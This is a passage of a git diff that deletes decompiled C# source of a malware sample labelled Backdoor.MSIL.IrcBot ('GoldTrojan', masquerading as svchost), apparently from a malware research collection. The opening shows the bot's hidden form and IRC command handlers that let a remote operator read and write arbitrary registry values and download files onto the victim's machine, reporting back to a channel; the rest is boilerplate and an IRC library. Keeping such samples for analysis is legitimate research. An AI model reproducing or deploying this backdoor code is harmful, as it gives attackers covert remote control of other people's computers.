- catch (Exception ex)
- {
- return "brak wpisu (" + ex.Message + ")";
- }
- }
-
- private void Rejestr()
- {
- string destination = "#jaknie5";
- if (this.kom.Contains("odczyt"))
- {
- string message;
- try
- {
- string[] strArray = this.kom.Split('"');
- message = this.RejestrOdczyt(strArray[1], strArray[3]);
- }
- catch (Exception ex)
- {
- message = "Nie mozna odczytac wartosci (" + ex.Message + ")";
- }
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- else if (this.kom.Contains("dodaj"))
- {
- string message;
- try
- {
- string[] strArray = this.kom.Split('"');
- message = !this.RejestrDodaj(strArray[1], strArray[3], strArray[5]) ? "Nie dodano wartosci do rejestru" : "Dodano wartosc do rejestru";
- }
- catch (Exception ex)
- {
- message = "Nie dodano wartosci do rejestru (" + ex.Message + ")";
- }
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- else
- {
- try
- {
- this.irc.SendMessage(SendType.Message, destination, "Niepoprawne polecenie");
- this.irc.SendMessage(SendType.Message, destination, "-rejestr odczyt [klucz] [nazwa wartosci]");
- this.irc.SendMessage(SendType.Message, destination, "-rejestr dodaj [klucz] [nazwa wartosci] [wartosc]");
- }
- catch
- {
- }
- }
- }
-
- private bool RejestrDodaj(string klucz, string nazwaWartosci, string wartosc)
- {
- try
- {
- Registry.SetValue(klucz, nazwaWartosci, (object) wartosc);
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- [DllImport("user32.dll", CharSet = CharSet.Auto)]
- private static extern int SystemParametersInfo(
- int uAction,
- int uParam,
- string lpvParam,
- int fuWinIni);
-
- public static void Set(Uri uri, Form1.Style style)
- {
- Image image = Image.FromStream(new WebClient().OpenRead(uri.ToString()));
- string str = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
- image.Save(str, ImageFormat.Bmp);
- RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
- if (style == Form1.Style.rozciagnij)
- {
- registryKey.SetValue("WallpaperStyle", (object) 2.ToString());
- registryKey.SetValue("TileWallpaper", (object) 0.ToString());
- }
- if (style == Form1.Style.normalnie)
- {
- registryKey.SetValue("WallpaperStyle", (object) 1.ToString());
- registryKey.SetValue("TileWallpaper", (object) 0.ToString());
- }
- if (style == Form1.Style.sasiadujaco)
- {
- registryKey.SetValue("WallpaperStyle", (object) 1.ToString());
- registryKey.SetValue("TileWallpaper", (object) 1.ToString());
- }
- Form1.SystemParametersInfo(20, 0, str, 3);
- }
-
- private void PobierzTapete(string url, string styl)
- {
- FileDownloader fileDownloader = new FileDownloader();
- string destination = "#jaknie5";
- try
- {
- string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- fileDownloader.Download(url, folderPath);
- string[] strArray = url.Split('/');
- string str1 = "";
- foreach (string str2 in strArray)
- str1 = str2;
- Form1.Set(new Uri(folderPath + "\\" + str1), (Form1.Style) System.Enum.Parse(typeof (Form1.Style), styl, false));
- string message = "Tapeta została zmieniona";
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch (Exception ex)
- {
- string message = "Tapeta nie została zmieniona (" + ex.Message + ")";
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- protected override void Dispose(bool disposing)
- {
- if (disposing && this.components != null)
- this.components.Dispose();
- base.Dispose(disposing);
- }
-
- private void InitializeComponent()
- {
- this.SuspendLayout();
- this.AutoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleMode = AutoScaleMode.Font;
- this.ClientSize = new Size(115, 0);
- this.Location = new Point(99999, 99999);
- this.Name = nameof (Form1);
- this.StartPosition = FormStartPosition.Manual;
- this.Text = nameof (Form1);
- this.ResumeLayout(false);
- }
-
- private delegate void ircListener();
-
- public enum Style
- {
- sasiadujaco,
- normalnie,
- rozciagnij,
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Program.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Program.cs
deleted file mode 100644
index 2e3269e8..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Program.cs
+++ /dev/null
@@ -1,22 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.Program
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Windows.Forms;
-
-namespace GoldTrojan
-{
- internal static class Program
- {
- [STAThread]
- private static void Main()
- {
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Application.Run((Form) new Form1());
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.cs
deleted file mode 100644
index 5f210413..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.cs
+++ /dev/null
@@ -1,46 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.Properties.Resources
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Globalization;
-using System.Resources;
-using System.Runtime.CompilerServices;
-
-namespace GoldTrojan.Properties
-{
- [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
- [CompilerGenerated]
- [DebuggerNonUserCode]
- internal class Resources
- {
- private static ResourceManager resourceMan;
- private static CultureInfo resourceCulture;
-
- internal Resources()
- {
- }
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static ResourceManager ResourceManager
- {
- get
- {
- if (GoldTrojan.Properties.Resources.resourceMan == null)
- GoldTrojan.Properties.Resources.resourceMan = new ResourceManager("GoldTrojan.Properties.Resources", typeof (GoldTrojan.Properties.Resources).Assembly);
- return GoldTrojan.Properties.Resources.resourceMan;
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static CultureInfo Culture
- {
- get => GoldTrojan.Properties.Resources.resourceCulture;
- set => GoldTrojan.Properties.Resources.resourceCulture = value;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Settings.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Settings.cs
deleted file mode 100644
index d9c82630..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Settings.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.Properties.Settings
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System.CodeDom.Compiler;
-using System.Configuration;
-using System.Runtime.CompilerServices;
-
-namespace GoldTrojan.Properties
-{
- [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
- [CompilerGenerated]
- internal sealed class Settings : ApplicationSettingsBase
- {
- private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
-
- public static Settings Default => Settings.defaultInstance;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventArgs.cs
deleted file mode 100644
index b03e1968..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventArgs.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ActionEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class ActionEventArgs : CtcpEventArgs
- {
- private string _ActionMessage;
-
- public string ActionMessage => this._ActionMessage;
-
- internal ActionEventArgs(IrcMessageData data, string actionmsg)
- : base(data, "ACTION", actionmsg)
- {
- this._ActionMessage = actionmsg;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventHandler.cs
deleted file mode 100644
index 40997d93..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ActionEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void ActionEventHandler(object sender, ActionEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AlreadyConnectedException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AlreadyConnectedException.cs
deleted file mode 100644
index 230c9859..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AlreadyConnectedException.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.AlreadyConnectedException
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Runtime.Serialization;
-
-namespace Meebey.SmartIrc4net
-{
- [Serializable]
- public class AlreadyConnectedException : ConnectionException
- {
- public AlreadyConnectedException()
- {
- }
-
- public AlreadyConnectedException(string message)
- : base(message)
- {
- }
-
- public AlreadyConnectedException(string message, Exception e)
- : base(message, e)
- {
- }
-
- protected AlreadyConnectedException(SerializationInfo info, StreamingContext context)
- : base(info, context)
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventArgs.cs
deleted file mode 100644
index 322cae4d..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventArgs.cs
+++ /dev/null
@@ -1,30 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.AutoConnectErrorEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class AutoConnectErrorEventArgs : EventArgs
- {
- private Exception _Exception;
- private string _Address;
- private int _Port;
-
- public Exception Exception => this._Exception;
-
- public string Address => this._Address;
-
- public int Port => this._Port;
-
- internal AutoConnectErrorEventArgs(string address, int port, Exception ex)
- {
- this._Address = address;
- this._Port = port;
- this._Exception = ex;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventHandler.cs
deleted file mode 100644
index ba0fb566..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.AutoConnectErrorEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void AutoConnectErrorEventHandler(object sender, AutoConnectErrorEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventArgs.cs
deleted file mode 100644
index c293ba67..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.AwayEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class AwayEventArgs : IrcEventArgs
- {
- private string _Who;
- private string _AwayMessage;
-
- public string Who => this._Who;
-
- public string AwayMessage => this._AwayMessage;
-
- internal AwayEventArgs(IrcMessageData data, string who, string awaymessage)
- : base(data)
- {
- this._Who = who;
- this._AwayMessage = awaymessage;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventHandler.cs
deleted file mode 100644
index bb8be4e1..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.AwayEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void AwayEventHandler(object sender, AwayEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventArgs.cs
deleted file mode 100644
index 3d4b4861..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.BanEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class BanEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Hostmask;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Hostmask => this._Hostmask;
-
- internal BanEventArgs(IrcMessageData data, string channel, string who, string hostmask)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Hostmask = hostmask;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventHandler.cs
deleted file mode 100644
index c49a8b21..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.BanEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void BanEventHandler(object sender, BanEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanInfo.cs
deleted file mode 100644
index 3d568784..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanInfo.cs
+++ /dev/null
@@ -1,28 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.BanInfo
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class BanInfo
- {
- private string f_Channel;
- private string f_Mask;
-
- public string Channel => this.f_Channel;
-
- public string Mask => this.f_Mask;
-
- private BanInfo()
- {
- }
-
- public static BanInfo Parse(IrcMessageData data) => new BanInfo()
- {
- f_Channel = data.RawMessageArray[3],
- f_Mask = data.RawMessageArray[4]
- };
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Channel.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Channel.cs
deleted file mode 100644
index 1c5dd9ae..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Channel.cs
+++ /dev/null
@@ -1,95 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.Channel
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Collections;
-using System.Collections.Specialized;
-
-namespace Meebey.SmartIrc4net
-{
- public class Channel
- {
- private string _Name;
- private string _Key = string.Empty;
- private Hashtable _Users = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
- private Hashtable _Ops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
- private Hashtable _Voices = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
- private StringCollection _Bans = new StringCollection();
- private string _Topic = string.Empty;
- private int _UserLimit;
- private string _Mode = string.Empty;
- private DateTime _ActiveSyncStart;
- private DateTime _ActiveSyncStop;
- private TimeSpan _ActiveSyncTime;
- private bool _IsSycned;
-
- internal Channel(string name)
- {
- this._Name = name;
- this._ActiveSyncStart = DateTime.Now;
- }
-
- public string Name => this._Name;
-
- public string Key
- {
- get => this._Key;
- set => this._Key = value;
- }
-
- public Hashtable Users => (Hashtable) this._Users.Clone();
-
- internal Hashtable UnsafeUsers => this._Users;
-
- public Hashtable Ops => (Hashtable) this._Ops.Clone();
-
- internal Hashtable UnsafeOps => this._Ops;
-
- public Hashtable Voices => (Hashtable) this._Voices.Clone();
-
- internal Hashtable UnsafeVoices => this._Voices;
-
- public StringCollection Bans => this._Bans;
-
- public string Topic
- {
- get => this._Topic;
- set => this._Topic = value;
- }
-
- public int UserLimit
- {
- get => this._UserLimit;
- set => this._UserLimit = value;
- }
-
- public string Mode
- {
- get => this._Mode;
- set => this._Mode = value;
- }
-
- public DateTime ActiveSyncStart => this._ActiveSyncStart;
-
- public DateTime ActiveSyncStop
- {
- get => this._ActiveSyncStop;
- set
- {
- this._ActiveSyncStop = value;
- this._ActiveSyncTime = this._ActiveSyncStop.Subtract(this._ActiveSyncStart);
- }
- }
-
- public TimeSpan ActiveSyncTime => this._ActiveSyncTime;
